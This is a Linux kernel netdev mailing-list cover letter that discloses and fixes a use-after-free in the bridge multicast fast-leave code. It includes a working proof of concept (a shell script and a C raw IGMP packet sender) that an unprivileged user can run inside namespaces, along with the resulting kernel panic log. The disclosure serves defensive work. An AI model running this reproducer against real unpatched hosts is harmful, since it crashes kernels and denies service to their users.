From mboxrd@z Thu Jan 1 00:00:00 1970 Received: from mail-pl1-f182.google.com (mail-pl1-f182.google.com [209.85.214.182]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id C497736B932 for ; Thu, 23 Jul 2026 16:53:05 +0000 (UTC) Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.client-ip=209.85.214.182 ARC-Seal:i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1784825587; cv=none; b=okQyREzut7WXB/0Hnb8NJ/olnOLJRbuRut4nT/gcO/kFynCkYc8l8X44WXUvRy2y9nam8r8RfkDBiu7adCIXe6SY+Qzt88z/wCw2nTYd6WzXERQjrEWr+CHtlfCTB6wRWaL16igs0rC9LbldoYlWCaxYXTR6o06jJMcp5g+xzj8= ARC-Message-Signature:i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1784825587; c=relaxed/simple; bh=r5H/1dpxR3F7+AWCZSMFLYNssDPe77cEA6mMVDg9/Ng=; h=From:To:Cc:Subject:Date:Message-ID:MIME-Version; b=a5s2iw6dFkBpDm6fN88Xgc89Uqhv6cJfrKX8iDq8Rk7IwZVDAHW0uT7sL6q7Ufmn7UCi9UTB5/HysPls2+jFGxElowVxCsPO8uBHCQNmMZa+PalQ+maXyO5UZhCyOzpY7KMqnisRSkUbmenUKXs8VcgHdQA0e1waLvVyxeDEJ2s= ARC-Authentication-Results:i=1; smtp.subspace.kernel.org; dmarc=pass (p=none dis=none) header.from=gmail.com; spf=pass smtp.mailfrom=gmail.com; dkim=pass (2048-bit key) header.d=gmail.com header.i=@gmail.com header.b=HC7FWky2; arc=none smtp.client-ip=209.85.214.182 Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=none dis=none) header.from=gmail.com Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=gmail.com Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key) header.d=gmail.com header.i=@gmail.com header.b="HC7FWky2" Received: by mail-pl1-f182.google.com with SMTP id d9443c01a7336-2ceaf8a1265so11191715ad.2 for ; Thu, 23 Jul 2026 09:53:05 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20251104; t=1784825585; x=1785430385; darn=vger.kernel.org; h=content-transfer-encoding:mime-version:message-id:date:subject:cc :to:from:from:to:cc:subject:date:message-id:reply-to:content-type; bh=F3LCtdToF5YSS4uY+khZGArrOqwy6G7PSCxZEcos2+I=; b=HC7FWky27xVwiz+KQQrhl61OcH8scodBI4ja89+Ucvatg3gZKNY6GEXZWj23/PFATk qo9U2dhfHXhFMBm8Le+ZHOZnH1evJldfodlnKsh+m1aITEWHQRm5eAcoGaAo4+LHZKGg LdzxI7bIzYWGSnuN75HmZu9Ee4/cVmmGbDenihyxDtnY7ST3IaDL5AcaiqPG/GgaJSb1 +R8DBYBWXD07x0yzL+yYp0jHqb9j3PMuaqe1qV28psap/2cIPmHxtLpifpYr5BbFTXg+ D1Y2WXJbvhbOXFJ9kH9FsLUmXxd9dKygGaD9ucNPO1ZUl6Qf/8ovsW+dKRXTxOdA54uZ /qXg== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20251104; t=1784825585; x=1785430385; h=content-transfer-encoding:mime-version:message-id:date:subject:cc :to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject:date :message-id:reply-to:content-type; bh=F3LCtdToF5YSS4uY+khZGArrOqwy6G7PSCxZEcos2+I=; b=TEe98jDkiWWxdNechd1/YQrs+PirntQ91ObPPAbEhMyyLnn/wgZs0y/KfaNdhG6vOG T1uefLXq7Ik2amGIJfdDoQSni3fh1fqpT8GbUJSYg67KDABIaS55CHDDpdKxcaqGyHeO B7AoELcExaERd3Nn329/iEeOjFbvxtJOnxpLCn1GjjiSicMw+QM9RpDmwLj4opGdI+id y6g1PPZPZRoM2kMg2tcj+ps2WRFWfEfdfVIUy/WSMITfzlPKvLYglJCrelnihrA6kgDQ 5QI0B5Owj/nSBtD9kEDFSwq2FBaYWMriAGyAe+9OvSjHKtj25FOzUCRrafJiz5hfj+dB mhWg== X-Forwarded-Encrypted: i=1; AHgh+RqkpRj6SKeFWXCYiFGuu8kUh12Fn/zNwYQpfG6aMhTgaqLsmhyMui6Pe/e48l6tTpECLkMxaNc=@vger.kernel.org X-Gm-Message-State: AOJu0YxchXurjbjlDdk6Cw/e5zXUaaI++yLJZdG369j98/aGxWKthXNd VsrfPXTHVOZkvyvi4GB0nXLfpby5L+9+uX4BCQUM5Kpyvy/V1qsF71D9 X-Gm-Gg: AR+sD13RV/a0S0t2Raj2g+YoCC0CMjT97hBm+92yJI6p3AL3oYhBfPzSXzkBH4e3joN VvAHjyb9VCyCfqbreiiY2bgKWKVk/vJZOmop7I2u7vlU+Z6AchkmZKuKgdF/XX15p/rjovD6yZi n5gx68GWZH1XwrcjxBdJpo8osepgjO7YRBI3lmM2i5L0G6jSZnGweJn5yFtBby3h8/5QskxSZlE HzyJi5Hp0zHK+0fQfFjsKjBV1R6wKnFMEOolTXpXO6DUXVIZCHUdcGDL2rmm+hvTRWWEv539nYl QDGU3w4krV+JJOKq+LSbZ0N+5Ux5F6+JxECWFf7AaPqgRe+zGjm1yLcjiwPSCXt5uqNXLiYTGo5 4k5N3AR2aP0zo2T6GFVVoeIuVCfcB23o/vHTjNiSvzPw4q4x1+Fq8NkL/SpWwyMiKKugGAdYHOn cqwMQsygxkfR2NyzIbErY= X-Received: by 2002:a17:903:3847:b0:2cf:b68a:2050 with SMTP id d9443c01a7336-2cfb68a395bmr17902655ad.15.1784825584978; Thu, 23 Jul 2026 09:53:04 -0700 (PDT) Received: from enjou-Legion-Y7000P-2019 ([167.71.204.91]) by smtp.gmail.com with ESMTPSA id d9443c01a7336-2cf8f2e5e9bsm36926435ad.50.2026.07.23.09.52.54 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Thu, 23 Jul 2026 09:53:04 -0700 (PDT) From: Ren Wei To: bridge@lists.linux.dev, netdev@vger.kernel.org Cc: razor@blackwall.org, idosch@nvidia.com, davem@davemloft.net, edumazet@google.com, pabeni@redhat.com, horms@kernel.org, nbd@nbd.name, linus.luessing@c0d3.blue, vega@nebusec.ai, zhilinz@nebusec.ai, enjou1224z@gmail.com Subject: [PATCH net 0/1] net: bridge: fix fast-leave use-after-free Date: Fri, 24 Jul 2026 00:52:47 +0800 Message-ID: X-Mailer: git-send-email 2.51.0 Precedence: bulk X-Mailing-List: netdev@vger.kernel.org List-Id: List-Subscribe: List-Unsubscribe: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit From: Zhiling Zou Hi Linux kernel maintainers, We found and validated a issue in net/bridge/br_multicast.c. The bug is reachable by a non-root user via user and net namespace. We've tested it, and it should not affect any other functionality. We will provide detailed information about the bug in this email, along with a PoC to trigger it. ---- details below ---- Bug details: br_multicast_leave_group() walks mp->ports in the fast-leave path with pp = &p->next. When mcast_to_unicast is enabled, two IGMP membership reports from different source MAC addresses behind the same bridge port create two MDB port groups for one (port, group). After mcast_to_unicast is turned off, br_port_group_equal() falls back to comparing only the port. A single fast leave can then match both entries. The first br_multicast_del_pg() unlinks one port group, but the loop continues with pp taken from the removed entry. The second match therefore updates the deleted entry's next pointer instead of mp->ports, leaving mp->ports pointing at a removed port group. The stale link is visible immediately as one leftover MDB entry on veth0. During bridge teardown, br_multicast_destroy_mdb_entry() then hits WARN_ON(mp->ports). With panic_on_warn=1, that warning becomes the panic shown below. Reproducer: gcc -O2 -static -o poc poc.c unshare -Urn ./poc.sh The shell script performs the full trigger sequence: 1. create br0 and veth0/veth1 2. enable fastleave and mcast_to_unicast on veth0 3. send two IGMP membership reports with different source MAC/IP pairs 4. verify that two MDB entries were created 5. disable mcast_to_unicast 6. send one IGMP leave 7. verify that one stale MDB entry remains 8. delete br0 to trigger bridge teardown We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment. ------BEGIN poc.sh------ #!/bin/sh set -eu PATH=/usr/sbin:/usr/bin:/sbin:/bin export PATH GROUP=239.1.1.1 JOIN_A_MAC=02:00:00:00:00:0a JOIN_B_MAC=02:00:00:00:00:0b JOIN_A_IP=10.0.0.10 JOIN_B_IP=10.0.0.11 cleanup() { ip link del br0 2>/dev/null || true ip link del veth0 2>/dev/null || true } require_duplicate_entries() { count=$( bridge -d mdb show dev br0 | grep -F "port veth0 grp $GROUP" | wc -l ) if [ "$count" -ne 2 ]; then echo "expected 2 MDB entries for $GROUP on veth0, got $count" >&2 exit 1 fi } require_stale_entry() { count=$( bridge -d mdb show dev br0 | grep -F "port veth0 grp $GROUP" | wc -l ) if [ "$count" -ne 1 ]; then echo "expected 1 stale MDB entry for $GROUP on veth0, got $count" >&2 exit 1 fi } cleanup ip link add br0 type bridge mcast_snooping 1 ip link add veth0 type veth peer name veth1 ip link set br0 up ip link set veth0 master br0 ip link set veth0 up ip link set veth1 up bridge link set dev veth0 fastleave on mcast_to_unicast on ./poc veth1 "$JOIN_A_MAC" "$JOIN_A_IP" "$GROUP" 0x16 "$GROUP" ./poc veth1 "$JOIN_B_MAC" "$JOIN_B_IP" "$GROUP" 0x16 "$GROUP" sleep 1 require_duplicate_entries bridge link set dev veth0 mcast_to_unicast off ./poc veth1 "$JOIN_A_MAC" "$JOIN_A_IP" 224.0.0.2 0x17 "$GROUP" sleep 1 require_stale_entry bridge -d mdb show dev br0 | grep -F "port veth0 grp $GROUP" || true # The stale mp->ports entry trips WARN_ON(mp->ports) in bridge teardown. ip link del br0 ------END poc.sh-------- ------BEGIN poc.c------ #include #include #include #include #include #include #include #include #include #include #include static uint16_t checksum(const void *buf, size_t len) { const uint8_t *data = buf; uint32_t sum = 0; while (len > 1) { sum += ((uint32_t)data[0] << 8) | data[1]; data += 2; len -= 2; } if (len) sum += (uint32_t)data[0] << 8; while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16); return (uint16_t)~sum; } static int parse_mac(const char *text, uint8_t mac[ETH_ALEN]) { unsigned int tmp[ETH_ALEN]; if (sscanf(text, "%02x:%02x:%02x:%02x:%02x:%02x", &tmp[0], &tmp[1], &tmp[2], &tmp[3], &tmp[4], &tmp[5]) != ETH_ALEN) return -1; for (size_t i = 0; i < ETH_ALEN; i++) mac[i] = tmp[i]; return 0; } static void multicast_mac_from_ip(const struct in_addr *ip, uint8_t mac[ETH_ALEN]) { const uint8_t *addr = (const uint8_t *)&ip->s_addr; mac[0] = 0x01; mac[1] = 0x00; mac[2] = 0x5e; mac[3] = addr[1] & 0x7f; mac[4] = addr[2]; mac[5] = addr[3]; } int main(int argc, char **argv) { struct sockaddr_ll sll = { 0 }; struct in_addr src_ip; struct in_addr dst_ip; struct in_addr group_ip; uint8_t frame[ETH_FRAME_LEN]; uint8_t src_mac[ETH_ALEN]; uint8_t dst_mac[ETH_ALEN]; unsigned long igmp_type; char *end; int fd; int ifindex; int count = 1; size_t off = 0; uint16_t ip_id = 0x1234; if (argc != 7 && argc != 8) { fprintf(stderr, "usage: %s [count]\n", argv[0]); return 1; } if (parse_mac(argv[2], src_mac) < 0) { fprintf(stderr, "invalid mac: %s\n", argv[2]); return 1; } if (inet_pton(AF_INET, argv[3], &src_ip) != 1 || inet_pton(AF_INET, argv[4], &dst_ip) != 1 || inet_pton(AF_INET, argv[6], &group_ip) != 1) { fprintf(stderr, "invalid IPv4 address\n"); return 1; } errno = 0; igmp_type = strtoul(argv[5], &end, 0); if (errno || *end || igmp_type > 0xff) { fprintf(stderr, "invalid igmp type: %s\n", argv[5]); return 1; } if (argc == 8) { errno = 0; count = strtol(argv[7], &end, 0); if (errno || *end || count < 1) { fprintf(stderr, "invalid count: %s\n", argv[7]); return 1; } } ifindex = if_nametoindex(argv[1]); if (!ifindex) { perror("if_nametoindex"); return 1; } fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_IP)); if (fd < 0) { perror("socket"); return 1; } multicast_mac_from_ip(&dst_ip, dst_mac); memcpy(frame + off, dst_mac, ETH_ALEN); off += ETH_ALEN; memcpy(frame + off, src_mac, ETH_ALEN); off += ETH_ALEN; *(uint16_t *)(frame + off) = htons(ETH_P_IP); off += sizeof(uint16_t); frame[off + 0] = 0x45; frame[off + 1] = 0x00; *(uint16_t *)(frame + off + 2) = htons(20 + 8); *(uint16_t *)(frame + off + 4) = 0; *(uint16_t *)(frame + off + 6) = 0; frame[off + 8] = 1; frame[off + 9] = 2; *(uint16_t *)(frame + off + 10) = 0; memcpy(frame + off + 12, &src_ip.s_addr, sizeof(src_ip.s_addr)); memcpy(frame + off + 16, &dst_ip.s_addr, sizeof(dst_ip.s_addr)); off += 20; frame[off + 0] = (uint8_t)igmp_type; frame[off + 1] = 0; *(uint16_t *)(frame + off + 2) = 0; memcpy(frame + off + 4, &group_ip.s_addr, sizeof(group_ip.s_addr)); *(uint16_t *)(frame + off + 2) = htons(checksum(frame + off, 8)); sll.sll_family = AF_PACKET; sll.sll_ifindex = ifindex; sll.sll_halen = ETH_ALEN; memcpy(sll.sll_addr, dst_mac, ETH_ALEN); for (int i = 0; i < count; i++) { *(uint16_t *)(frame + ETH_HLEN + 4) = htons(ip_id++); *(uint16_t *)(frame + ETH_HLEN + 10) = 0; *(uint16_t *)(frame + ETH_HLEN + 10) = htons(checksum(frame + ETH_HLEN, 20)); if (sendto(fd, frame, ETH_HLEN + 20 + 8, 0, (struct sockaddr *)&sll, sizeof(sll)) < 0) { perror("sendto"); close(fd); return 1; } } close(fd); return 0; } ------END poc.c-------- ----BEGIN crash log---- [ 345.588282] Kernel panic - not syncing: kernel: panic_on_warn set ... [ 345.589187] CPU: 2 UID: 0 PID: 1229 Comm: ip Not tainted 6.12.95 #1 [ 345.590002] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 345.591456] Call Trace: [ 345.591786] [ 345.592071] panic+0x352/0x3e0 [ 345.592490] ? br_multicast_destroy_mdb_entry+0x43/0x50 [ 345.593161] check_panic_on_warn+0x44/0x60 [ 345.593700] __warn+0x91/0x120 [ 345.594103] ? br_multicast_destroy_mdb_entry+0x43/0x50 [ 345.594782] report_bug+0x150/0x170 [ 345.595258] handle_bug+0x10a/0x170 [ 345.595718] exc_invalid_op+0x17/0x70 [ 345.596210] asm_exc_invalid_op+0x1a/0x20 [ 345.596735] RIP: 0010:br_multicast_destroy_mdb_entry+0x43/0x50 [ 345.597488] Code: 48 83 7b 98 00 75 23 48 8d 7b c8 e8 c7 12 b1 fe 48 85 ed 74 0e 48 8d 7b 18 48 89 ee 5b 5d e9 54 22 af fe 5b 5d e9 f8 07 3a 00 <0f> 0b eb d9 0f 0b eb ce 0f 1f 44 00 00 90 90 90 90 90 90 90 90 90 [ 345.599833] RSP: 0018:ffffc900017bb6a8 EFLAGS: 00010286 [ 345.600505] RAX: ffffffff827638d0 RBX: ffff888105fcb5b8 RCX: 0000000000001388 [ 345.601458] RDX: ffff88813bd21ff8 RSI: 0000000000000286 RDI: ffff888105fcb5b8 [ 345.602380] RBP: ffff888105fcb540 R08: 0000000000000000 R09: 0000000000000000 [ 345.603297] R10: ffff88813bd21ed8 R11: 0000000000000000 R12: ffff888101bd2df4 [ 345.604195] R13: ffff888105715540 R14: ffff8881033921c0 R15: dead000000000100 [ 345.605103] ? __pfx_br_multicast_destroy_mdb_entry+0x10/0x10 [ 345.605856] ? srso_alias_return_thunk+0x5/0xfbef5 [ 345.606487] br_multicast_dev_del+0xf4/0x130 [ 345.607042] br_dev_uninit+0x19/0x40 [ 345.607523] unregister_netdevice_many_notify+0x6ca/0xaf0 [ 345.608222] ? srso_alias_return_thunk+0x5/0xfbef5 [ 345.608840] ? srso_alias_return_thunk+0x5/0xfbef5 [ 345.609466] ? unregister_netdevice_queue+0x75/0x140 [ 345.610099] rtnl_dellink+0x166/0x3c0 [ 345.610585] ? rtnl_getlink+0x374/0x410 [ 345.611099] ? set_track_prepare+0x4f/0x80 [ 345.611643] ? kmalloc_reserve+0x93/0x100 [ 345.612163] ? __alloc_skb+0x95/0x1a0 [ 345.612652] ? netlink_sendmsg+0x157/0x490 [ 345.613187] ? __sock_sendmsg+0x83/0x90 [ 345.613695] ? ____sys_sendmsg+0x28c/0x310 [ 345.614236] ? ___sys_sendmsg+0x9a/0xe0 [ 345.614734] ? __sys_sendmsg+0x87/0xe0 [ 345.615232] ? do_syscall_64+0x58/0x120 [ 345.615740] ? entry_SYSCALL_64_after_hwframe+0x76/0x7e [ 345.616418] ? srso_alias_return_thunk+0x5/0xfbef5 [ 345.617032] rtnetlink_rcv_msg+0x2ca/0x440 [ 345.617580] ? ___slab_alloc+0x989/0xba0 [ 345.618092] ? srso_alias_return_thunk+0x5/0xfbef5 [ 345.618720] ? kmalloc_reserve+0x93/0x100 [ 345.619256] ? __pfx_rtnetlink_rcv_msg+0x10/0x10 [ 345.619871] netlink_rcv_skb+0x58/0x110 [ 345.620388] netlink_unicast+0x25d/0x390 [ 345.620900] netlink_sendmsg+0x222/0x490 [ 345.621424] __sock_sendmsg+0x83/0x90 [ 345.621907] ____sys_sendmsg+0x28c/0x310 [ 345.622428] ? copy_msghdr_from_user+0x7d/0xc0 [ 345.623006] ___sys_sendmsg+0x9a/0xe0 [ 345.623531] ? srso_alias_return_thunk+0x5/0xfbef5 [ 345.624151] __sys_sendmsg+0x87/0xe0 [ 345.624638] do_syscall_64+0x58/0x120 [ 345.625125] entry_SYSCALL_64_after_hwframe+0x76/0x7e [ 345.625779] RIP: 0033:0x7aea67b26687 [ 345.626255] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff [ 345.628634] RSP: 002b:00007ffc1d15bbc0 EFLAGS: 00000202 ORIG_RAX: 000000000000002e [ 345.629591] RAX: ffffffffffffffda RBX: 00007aea678f9840 RCX: 00007aea67b26687 [ 345.630517] RDX: 0000000000000000 RSI: 00007ffc1d15bc70 RDI: 0000000000000003 [ 345.631442] RBP: 00007ffc1d15bc70 R08: 0000000000000000 R09: 0000000000000000 [ 345.632345] R10: 0000000000000000 R11: 0000000000000202 R12: 00007ffc1d15c360 [ 345.633246] R13: 0000000000000000 R14: 00005b70f0fc8020 R15: 0000000000000000 [ 345.634148] [ 345.634788] Kernel Offset: disabled -----END crash log----- Best regards, Zhiling Zou Zhiling Zou (1): net: bridge: stop fast-leave after deleting a port group net/bridge/br_multicast.c | 1 + 1 file changed, 1 insertion(+) -- 2.43.0